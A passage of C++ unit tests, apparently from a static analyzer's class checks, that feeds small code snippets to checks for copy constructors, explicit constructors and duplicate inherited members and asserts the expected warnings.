TEST_CASE(copyCtorAndEqOperator);\n\n TEST_CASE(override1);\n TEST_CASE(overrideCVRefQualifiers);\n\n TEST_CASE(uselessOverride);\n\n TEST_CASE(thisUseAfterFree);\n\n TEST_CASE(unsafeClassRefMember);\n\n TEST_CASE(ctuOneDefinitionRule);\n\n TEST_CASE(testGetFileInfo);\n\n TEST_CASE(returnByReference);\n }\n\n#define checkCopyCtorAndEqOperator(...) checkCopyCtorAndEqOperator_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyCtorAndEqOperator_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkCopyCtorAndEqOperator)();\n }\n\n void copyCtorAndEqOperator() {\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'copy constructor' but lack of 'operator='.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'copy constructor is empty and will not assign i and therefore the behaviour is different to the default assignment operator'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'operator=' but lack of 'copy constructor'.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'assignment operator does not assign i and therefore the behaviour is different to the default copy constructor'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const int &x) { this->x = x; return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A {\\n\"\n \"public:\\n\"\n \" A() : x(0) { }\\n\"\n \" A(const A & a) { x = a.x; }\\n\"\n \" A & operator = (const A & a) {\\n\"\n \" x = a.x;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \"public:\\n\"\n \" B() { }\\n\"\n \" B(const B & b) :A(b) { }\\n\"\n \"private:\\n\"\n \" static int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7987 - Don't show warning when there is a move constructor\n checkCopyCtorAndEqOperator(\"struct S {\\n\"\n \" std::string test;\\n\"\n \" S(S&& s) : test(std::move(s.test)) { }\\n\"\n \" S& operator = (S &&s) {\\n\"\n \" test = std::move(s.test);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8337 - False positive in copy constructor detection\n checkCopyCtorAndEqOperator(\"struct StaticListNode {\\n\"\n \" StaticListNode(StaticListNode*& prev) : m_next(0) {}\\n\"\n \" StaticListNode* m_next;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkExplicitConstructors(...) checkExplicitConstructors_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkExplicitConstructors_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkExplicitConstructors)();\n }\n\n void explicitConstructors() {\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) { }\\n\"\n \" Class(Class&& other) { }\\n\"\n \" explicit Class(int i) { }\\n\"\n \" explicit Class(const std::string&) { }\\n\"\n \" Class(int a, int b) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" explicit Class(const Class& other) { }\\n\"\n \" explicit Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) = delete;\\n\"\n \" Class(Class&& other) = delete;\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(int i) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Class 'Class' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(const Class& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6585\n checkExplicitConstructors(\"class Class {\\n\"\n \" private: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" public: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7465: Error properly reported in templates\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test(int) : fData(0) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Struct 'Test < int >' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n // #7465: No error for copy or move constructors\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test() : fData(0) {}\\n\"\n \" Test (const Test& aOther) : fData(aOther.fData) {}\\n\"\n \" Test (Test&& aOther) : fData(std::move(aOther.fData)) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8600\n checkExplicitConstructors(\"struct A { struct B; };\\n\"\n \"struct A::B {\\n\"\n \" B() = default;\\n\"\n \" B(const B&) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"struct A{\"\n \" A(int, int y=2) {}\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Struct 'A' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct Foo {\\n\" // #10515\n \" template \\n\"\n \" explicit constexpr Foo(T) {}\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" template \\n\"\n \" constexpr explicit Bar(T) {}\\n\"\n \"};\\n\"\n \"struct Baz {\\n\"\n \" explicit constexpr Baz(int) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Token;\\n\" // #11126\n \"struct Branch {\\n\"\n \" Branch(Token* tok = nullptr) : endBlock(tok) {}\\n\"\n \" Token* endBlock = nullptr;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Struct 'Branch' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct S {\\n\"\n \" S(std::initializer_list il) : v(il) {}\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"template\\n\" // #10977\n \"struct A {\\n\"\n \" template\\n\"\n \" A(Ts&&... ts) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Color {\\n\" // #7176\n \"public:\\n\"\n \" Color(unsigned int rgba);\\n\"\n \" Color(std::uint8_t r = 0, std::uint8_t g = 0, std::uint8_t b = 0, std::uint8_t a = 255);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\"\n \"[test.cpp:4:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\",\n errout_str());\n\n checkExplicitConstructors(\"template \\n\" // #13878\n \"struct S {\\n\"\n \" S(std::nullptr_t) {}\\n\"\n \" explicit S(T* p) : m(p) {}\\n\"\n \" T* m{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkDuplInheritedMembers(...) checkDuplInheritedMembers_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkDuplInheritedMembers_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkDuplInheritedMembers)();\n }\n\n void duplInheritedMembers() {\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : public Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:9:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" public:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\"\n \"[test.cpp:7:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base1'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int y;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown 'Base' class\n checkDuplInheritedMembers(\"class Derived : public UnknownBase {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6692\n checkDuplInheritedMembers(\"namespace test1 {\\n\"\n \" struct SWibble{};\\n\"\n \" typedef SWibble wibble;\\n\"\n \"}\\n\"\n \"namespace test2 {\\n\"\n \" struct SWibble : public test1::wibble {\\n\"\n \" int Value;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9957\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" public:\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"class Derived1: public Base {\\n\"\n \" public:\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:10:9]: (warning) The class 'Derived2' defines member variable with name 'i' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"template\\n\"\n \"struct BitInt : public BitInt { };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits;\\n\"\n \"}\\n\"\n \"template \\n\"\n \"struct function_traits\\n\"\n \" : public _impl::fn_traits> {};\\n\"\n \"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits\\n\"\n \" : public fn_traits {};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10594\n checkDuplInheritedMembers(\"template struct A { bool a = true; };\\n\"\n \"struct B { bool a; };\\n\"\n \"template<> struct A<1> : B {};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:6:9]: (warning) The struct 'D' defines member function with name 'g' also defined in its parent struct 'B'. [duplInheritedMember]\\n\",\n errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g(int) const;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {\\n\"\n \" struct T {\\n\"\n \" T() {}\\n\"\n \" };\\n\"\n \"};\\n\"\n \"struct T : S::T {\\n\"\n \" T() : S::T() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B { virtual int& get() = 0; };\\n\" // #12311\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" int& get() override { return i; }\\n\"\n \" const int& get() const { return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\" // #12353\n \" public:\\n\"\n \" void One();\\n\"\n \" void Two();\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" void Two() = delete;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkCopyConstructor(...) checkCopyConstructor_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyConstructor_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings3, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings3, this);\n checkClass.copyconstructors();\n }\n\n void copyConstructor1() {\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) : p(f.p), c(f.c)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(f.p)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" F&operator=(const F&);\\n\"\n \" ~F();\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F(const F &f) {\\n\"\n \" p = f.p;\\n\"\n \" }\\n\"\n \" F(char *str) {\\n\"\n \" p = malloc(strlen(str)+1);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n \"[test.cpp:3] -> [test.cpp:7]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n , errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) :p(f.p)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\"\n \"[test.cpp:5] -> [test.cpp:10]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"\"\n , errout_str());\n\n checkCopyConstructor(\"class kalci\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" kalci()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" }\\n\"\n \" kalci(const kalci &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" d=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~kalci();\\n\"\n \" kalci& operator=(const kalci&kalci);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,str);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,st);\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] -> [test.cpp:11]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string) {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:4]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" d=(char*)malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c;\\n\"\n \" const char *p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=str;\\n\"\n \" d=st;\\n\"\n \" c=(char *)malloc(strlen(string)+1);\\n\"\n \" strcpy(d,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=f.p;\\n\"\n \" d=f.d;\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(d,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E { E(E&); };\\n\" // non-copyable\n \"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E {};\\n\"\n \"class F : E {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" F(F& f);\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() : p(malloc(100)) {}\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n // #7198\n checkCopyConstructor(\"struct F {\\n\"\n \" static char* c;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor2() { // ticket #4458\n checkCopyConstructor(\"template \\n\"\n \"class Vector\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Vector() {\\n\"\n \" _M_finish = new _Tp[ 42 ];\\n\"\n \" }\\n\"\n \" Vector( const Vector<_Tp>& v ) {\\n\"\n \" }\\n\"\n \" ~Vector();\\n\"\n \" Vector& operator=(const Vector&v);\\n\"\n \" _Tp* _M_finish;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor3() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = delete;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = default;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The copy constructor is explicitly defaulted but the default copy constructor does not work well. It is recommended to define or delete the copy constructor. [noCopyConstructor]\\n\", errout_str());\n }\n\n void copyConstructor4() {\n checkCopyConstructor(\"class noncopyable {\\n\"\n \"protected:\\n\"\n \" noncopyable() {}\\n\"\n \" ~noncopyable() {}\\n\"\n \"\\n\"\n \"private:\\n\"\n \" noncopyable( const noncopyable& );\\n\"\n \" const noncopyable& operator=( const noncopyable& );\\n\"\n \"};\\n\"\n \"\\n\"\n \"class Base : private noncopyable {};\\n\"\n \"\\n\"\n \"class Foo : public Base {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor5() {\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public Copyable, public UnknownType {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public UnknownType, public Copyable {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor6() {\n checkCopyConstructor(\"struct S {\\n\"\n \" S() {\\n\"\n \" for (int i = 0; i < 5; i++)\\n\"\n \" a[i] = new char[3];\\n\"\n \" }\\n\"\n \" char* a[5];\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (warning) Struct 'S' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a operator= which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a destructor which is recommended since it has dynamic memory/resource management.\\n\",\n \"\",\n errout_str());\n }\n\n void deletedMemberPointer() {\n\n // delete ...\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { delete p; }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n 